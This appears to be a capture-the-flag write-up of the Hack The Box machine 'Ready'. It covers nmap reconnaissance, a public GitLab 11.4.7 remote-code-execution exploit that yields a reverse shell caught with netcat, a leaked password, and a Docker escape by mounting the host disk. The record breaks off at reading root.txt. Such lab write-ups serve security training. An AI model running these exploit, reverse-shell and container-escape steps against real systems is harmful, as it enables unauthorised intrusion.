

Search Hack The Box

ACTIVE

\$

aviksaikat

LAB ACCESS

<

Ready

MEDIUM

USER RATING

30 POINTS

● ONLINE

10

INFORMATION

STATISTICS

ACTIVITY

REVIEWS

WALKTHROUGHS

SHARE RESULTS

10.10.10.220

IP ADDRESS

4.2

MACHINE RATING

6893

USER OWNS

5961

SYSTEM OWNS

Leave Machine

Leave this live machine.

HackTheBox Ready

Saikat Karmakar | May 15 : 2021



- namp

```
# Nmap 7.91 scan initiated Sat May 15 20:27:04 2021 as: nmap -sC -sV -A -T4 -v -oN scan/nmap 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.44s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256  b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256  18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp  open  http      nginx
|_ http-favicon: Unknown favicon MD5:
F7E3D97F404E71D302B3239EEF48D5F2
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_ /s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_ Requested resource was http://10.10.10.220:5080/users/sign_in
|_ http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
```

```
# Nmap done at Sat May 15 20:27:57 2021 -- 1 IP address (1 host up)
scanned in 53.35 seconds
```

- { gitlab version

 **GitLab** Projects ▾ Groups ▾ Activity Milestones Snippets 

Help > **Help**

GitLab Community Edition 11.4.7

GitLab is open source software to collaborate on code.

Manage git repositories with fine-grained access controls that keep your code secure.

Perform code reviews and enhance collaboration with merge requests.

Each project can also have an issue tracker and a wiki.

Used by more than 100,000 organizations, GitLab is the most popular solution to manage git repositories on-premises.

Read more about GitLab at about.gitlab.com.

[Check the current instance configuration](#)

- { search the exploit for the version <https://github.com/ctrlsam/GitLab-11.4.7-RCE>
- { exploit

```
{20:43}~/Desktop/ctf/WalkThroughs/HackTheBox/ready:master X python3 exploit.py -u dark -p password -g http://10.10.10.220 -l 10.10.14.47 -P 443
[+] authenticity_token: FLBHJW/l3Bheby/ORVMP401CuK8NmgkybqyoCV+eFjDlG5EcxfIik3K5P2Nws0coETqNFpvrVZP7994Xv6leng==
[+] Creating project with random name: project5361
[+] Running Exploit
[+] Exploit completed successfully!
{20:44}~/Desktop/ctf/WalkThroughs/HackTheBox/ready:master X
```

- { got the shell

```
[on 11-23-2021] Random name: python3 loaded
[+] authenticity_token: FLBHJW/l3Bheby/ORVMP401CuK8NmgkybqyoCV+eFjDlG5EcxfIik3K5P2Nws0coETqNFpvrVZP7994Xv6leng==
[+] Creating project with random name: project5361
[+] Running Exploit
[+] Exploit completed successfully!
[+] got the shell
[+] nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.220] 60156
id
uid=998(git) gid=998(git) groups=998(git)
```

- { user flag

```
git@gitlab:/home/dude$ ls -la
total 24
drwxr-xr-x 2 dude dude 4096 Dec  7 16:58 .
drwxr-xr-x 1 root root 4096 Dec  2 10:45 ..
lrwxrwxrwx 1 root root    9 Dec  7 16:58 .bash_history -> /dev/null
-rw-r--r-- 1 dude dude 220 Aug 31 2015 .bash_logout
-rw-r--r-- 1 dude dude 3771 Aug 31 2015 .bashrc
-rw-r--r-- 1 dude dude 655 May 16 2017 .profile
-r--r----- 1 dude git  33 Dec  2 10:46 user.txt
git@gitlab:/home/dude$ cat user.txt
wW59U!ZKMbG9+*#h
git@gitlab:/home/dude$
```

- { we're in a docker env.
- { root pass for the docker container found by linpease

```
wW59U!ZKMbG9+*#h
```

- { got the list of mounts from [deepce](#) script

```
===== ( Enumerating Mounts ) =====
[+] Docker sock mounted ..... No
[+] Other mounts ..... Yes
/root/docker-gitlab/root_pass /root_pass rw,relatime - ext4 /dev/sda2 rw
/root/docker-gitlab/srv/gitlab/config /etc/gitlab rw,relatime - ext4 /dev/sda2 rw
/root/docker-gitlab/srv/gitlab/logs /var/log/gitlab rw,relatime - ext4 /dev/sda2 rw
/root/docker-gitlab/srv/gitlab/data /var/opt/gitlab rw,relatime - ext4 /dev/sda2 rw
[+] Possible host usernames ...
```

- mount the shares

```
root@gitlab:/dev/shm# mount /dev/sda1 /mnt/sda1
mount: mount point /mnt/sda1 does not exist
root@gitlab:/dev/shm# mkdir /mnt/sda1
root@gitlab:/dev/shm# mount /dev/sda1 /mnt/sda1
mount: wrong fs type, bad option, bad superblock on /dev/sda1,
       missing codepage or helper program, or other error

       In some cases useful info is found in syslog - try
       dmesg | tail or so.
root@gitlab:/dev/shm# mount /dev/sda2 /mnt/sda1
root@gitlab:/dev/shm# ls /mnt/sda1/
bin  cdrom  etc  lib  lib64  lost+found  mnt  proc  run  snap  sys  usr
boot  dev  home  lib32  libx32  media  opt  root  sbin  srv  tmp  var
```

```
root@gitlab:/mnt/sda1/root# ls -la
total 60
drwx----- 10 root root 4096 Dec  7 17:02 .
drwxr-xr-x 20 root root 4096 Dec  7 17:44 ..
lrwxrwxrwx  1 root root   9 Jul 11 2020 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Dec  5 2019 .bashrc
drwx-----  2 root root 4096 May  7 2020 .cache
drwx-----  3 root root 4096 Jul 11 2020 .config
-rw-r--r--  1 root root  44 Jul  8 2020 .gitconfig
drwxr-xr-x  3 root root 4096 May  7 2020 .local
lrwxrwxrwx  1 root root   9 Dec  7 17:02 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Dec  5 2019 .profile
-rw-r--r--  1 root root  75 Jul 12 2020 .selected_editor
drwx-----  2 root root 4096 Dec  7 16:49 .ssh
drwxr-xr-x  2 root root 4096 Dec  1 12:28 .vim
lrwxrwxrwx  1 root root   9 Dec  7 17:02 .viminfo -> /dev/null
drwxr-xr-x  3 root root 4096 Dec  1 12:41 docker-gitlab
drwxr-xr-x 10 root root 4096 Jul  9 2020 ready-channel
-r-----  1 root root  33 Jul  8 2020 root.txt
drwxr-xr-x  3 root root 4096 May 18 2020 snap
root@gitlab:/mnt/sda1/root# cat root.txt
```